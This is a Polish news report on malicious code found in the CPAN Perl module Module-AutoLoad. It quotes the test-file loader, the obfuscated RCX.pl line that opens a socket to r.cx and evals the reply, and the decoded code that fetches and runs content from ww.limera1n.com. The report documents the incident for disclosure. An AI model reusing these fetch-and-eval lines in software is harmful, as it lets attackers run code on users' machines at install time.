W pakiecie Perl Module-AutoLoad wykryto złośliwy kod

W dystrybuowanym przez katalog CPAN pakiecie Perl Module-AutoLoad, przeznaczonym do automatycznego ładowania modułów CPAN w locie, wykryto złośliwy kod. Złośliwa wstawka została znaleziona w kodzie testu 05_rcx.t, który jest dostępny od 2011 roku.
Co ciekawe, pytania dotyczące ładowania podejrzanego kodu pojawiały się już Stackoverflow w 2016 roku.

Aktywność złośliwa sprowadza się do próby załadowania i wykonania kodu z zewnętrznego serwera (http://r.cx:1/) podczas wykonywania zestawu testowego, uruchamianego przy instalacji modułu. Przyjmuje się, że pierwotnie ładowany kod z zewnętrznego serwera nie był złośliwy, ale obecnie żądanie jest przekierowywane na domenę ww.limera1n.com, która dostarcza swoją porcję kodu do wykonania.

Do organizacji ładowania w pliku 05_rcx.t użyto następującego kodu:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Podany kod prowadzi do wykonania skryptu ../contrib/RCX.pl, którego zawartość sprowadza się do linii:

use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};

Skrypt ten ładuje zmyślony za pomocą usługi perlobfuscator.com kod z zewnętrznego hosta r.cx (kody symboli 82.46.99.88 odpowiadają tekstowi «R.cX») i wykonuje go w bloku eval.

$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;'
eval unpack u=>q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Po rozpakowaniu ostatecznie wykonuje się następujący kod:

print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1

Obecnie problematyczny pakiet został usunięty z repozytorium PAUSE (Perl Authors Upload Server), a konto autora modułu zostało zablokowane. Moduł wciąż pozostaje dostępne w archiwum MetaCPAN i można go bezpośrednio zainstalować z MetaCPAN przy użyciu niektórych narzędzi, takich jak cpanminus. Zauważono, co oznacza, że pakiet nie był szeroko rozpowszechniany.

Ciekawe, że do dyskusji zaangażował się i autor modułu, który zaprzeczył informacji o tym, że złośliwy kod został wstawiony po włamaniu na jego stronę «r.cx» i wyjaśnił, że po prostu się bawił, a perlobfuscator.com nie było używane do ukrywania czegokolwiek, lecz do zmniejszenia rozmiaru kodu i ułatwienia jego kopiowania przez schowek. Wybór nazwy funkcji «botstrap» został wyjaśniony tym, że brzmi jak bot i jest krótszy niż bootstrap. Autor modułu również zapewnił, że ujawnione manipulacje nie powodują złośliwych działań, a jedynie demonstrują ładowanie i wykonywanie kodu przez TCP.

Źródło: opennet.ru

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster